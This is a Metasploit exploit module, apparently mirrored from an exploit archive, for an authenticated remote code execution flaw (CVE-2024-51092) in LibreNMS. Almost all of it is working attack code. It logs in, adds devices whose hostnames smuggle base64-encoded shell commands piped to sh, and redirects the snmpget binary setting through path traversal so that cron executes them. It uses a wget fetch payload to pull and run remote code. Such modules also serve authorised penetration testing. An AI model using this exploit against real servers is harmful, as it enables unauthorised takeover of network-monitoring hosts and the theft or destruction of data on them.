Share
## https://sploitus.com/exploit?id=PACKETSTORM:188748
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Retry
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)',
            'Description' => %q{
              An authenticated attacker can create dangerous directory names on the system and
              alter sensitive configuration parameters through the web portal.
              Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
              thus achieving arbitrary code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'murrant (Tony Murray)', # PoC
              'Takahiro Yokoyama'      # Metasploit module
            ],
            'References' => [
              [ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'],
              [ 'CVE', '2024-51092']
            ],
            'Platform' => %w[linux],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1),
              'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1)
            },
            'Payload' => {
              'SPACE' => 128
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-11-15',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
            OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]),
            OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]),
            OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]),
          ]
        )
      end
    
      def get_csrf_token(res)
        res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('<title>LibreNMS</title>')
    
        token = get_csrf_token(res)
        return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token
    
        begin
          login
        rescue StandardError => e
          return Exploit::CheckCode::Unknown(e)
        end
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'about')
        })
        return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200
    
        html_body = res&.get_html_document
        version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']")
        return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil?
    
        version_node&.at('span')&.content = ''
        version = Rex::Version.new(version_node.text)
        return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1'))
    
        Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.")
      end
    
      def login
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login'),
          'keep_cookies' => true
        })
        fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200
    
        login_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'login'),
          'keep_cookies' => true,
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            '_token' => get_csrf_token(res)
          }
        })
        fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
        fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices')
    
        @logged_in = true
        print_status('Successfully logged into LibreNMS.')
      end
    
      def exploit
        login unless @logged_in
        add_host
    
        print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...")
        created = retry_until_truthy(timeout: datastore['WAIT']) do
          @hosts.all? { |h| change_snmpget(h) }
        end
    
        fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created
        register_file_for_cleanup(datastore['FETCH_FILENAME'])
        @hosts.each do |host|
          change_snmpget(host)
          send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'about')
          })
        end
      end
    
      def add_host
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'addhost')
        })
        fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200
    
        # The maximum host length is 128 characters.
        # because 128 - 20 = 108 where 20 is length of remaining characters in original payload
        if Rex::Text.encode_base64(payload.encoded).length <= 108
          @hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"]
          print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}")
        else
          @hosts = []
          staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME'])
          register_file_for_cleanup(staging_file)
          cmd = Rex::Text.encode_base64(payload.encoded)
          # ;echo -n chunked_cmd>>staging_file;
          # ;echo -n (space) = 9, >> = 2, ; = 1
          max_chunk_size = 128 - (9 + 2 + staging_file.length + 1)
          chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max)
          print_status("Command chunk size = #{chunk_size}")
          cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
          redirector = '>'
          cmd_chunks.each_with_index do |chunk, index|
            print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}")
            @hosts << ";echo -n #{chunk}#{redirector}#{staging_file};"
            redirector = '>>'
          end
          @hosts << ";cat #{staging_file} | base64 -d |sh;"
        end
    
        @device_ids = []
        @hosts.each do |host|
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'addhost'),
            'vars_post' => {
              '_token' => get_csrf_token(res),
              'hostname' => host,
              'snmp' => 'on',
              'sysName' => '',
              'hardware' => '',
              'os' => '',
              'os_id' => '',
              'snmpver' => 'v2c',
              'port' => '',
              'transport' => 'udp',
              'port_assoc_mode' => 'ifIndex',
              'community' => '',
              'authlevel' => 'noAuthNoPriv',
              'authname' => '',
              'authpass' => '',
              'authalgo' => 'SHA',
              'cryptopass' => '',
              'cryptoalgo' => 'AES',
              'force_add' => 'on',
              'Submit' => ''
            }
          })
          fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added')
          print_status('Added host.')
          link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a")
          device_link = link['href'] if link
          device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)})
          @device_ids << device_id if device_id
        end
      end
    
      def change_snmpget(host)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
        })
        return unless res&.code == 200
    
        res = send_request_cgi({
          'method' => 'PUT',
          'headers' => {
            'X-CSRF-TOKEN' => get_csrf_token(res)
          },
          'uri' => normalize_uri(target_uri.path, 'settings/snmpget'),
          'ctype' => 'application/json',
          'data' => {
            'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls"
          }.to_json
        })
        res&.code == 200
      end
    
      def cleanup
        super
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
        })
    
        if res&.code == 200
          res = send_request_cgi({
            'method' => 'DELETE',
            'headers' => {
              'X-CSRF-TOKEN' => get_csrf_token(res)
            },
            'uri' => normalize_uri(target_uri.path, 'settings/snmpget')
          })
        end
        print_status('Failed to reset snmpget to default.') unless res&.code == 200
        print_status('Reset snmpget to default.') if res&.code == 200
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'delhost')
        })
        token = get_csrf_token(res)
    
        if res&.code == 200 && @device_ids
          @device_ids.each do |device_id|
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'delhost'),
              'vars_post' => {
                '_token' => token,
                'id' => device_id,
                'confirm' => '1'
              }
            })
            print_status("Failed to delete device: #{device_id}") unless res&.code == 200
            print_status("Deleted device: #{device_id}") if res&.code == 200
          end
        elsif @device_ids
          print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}")
        end
      end
    
    end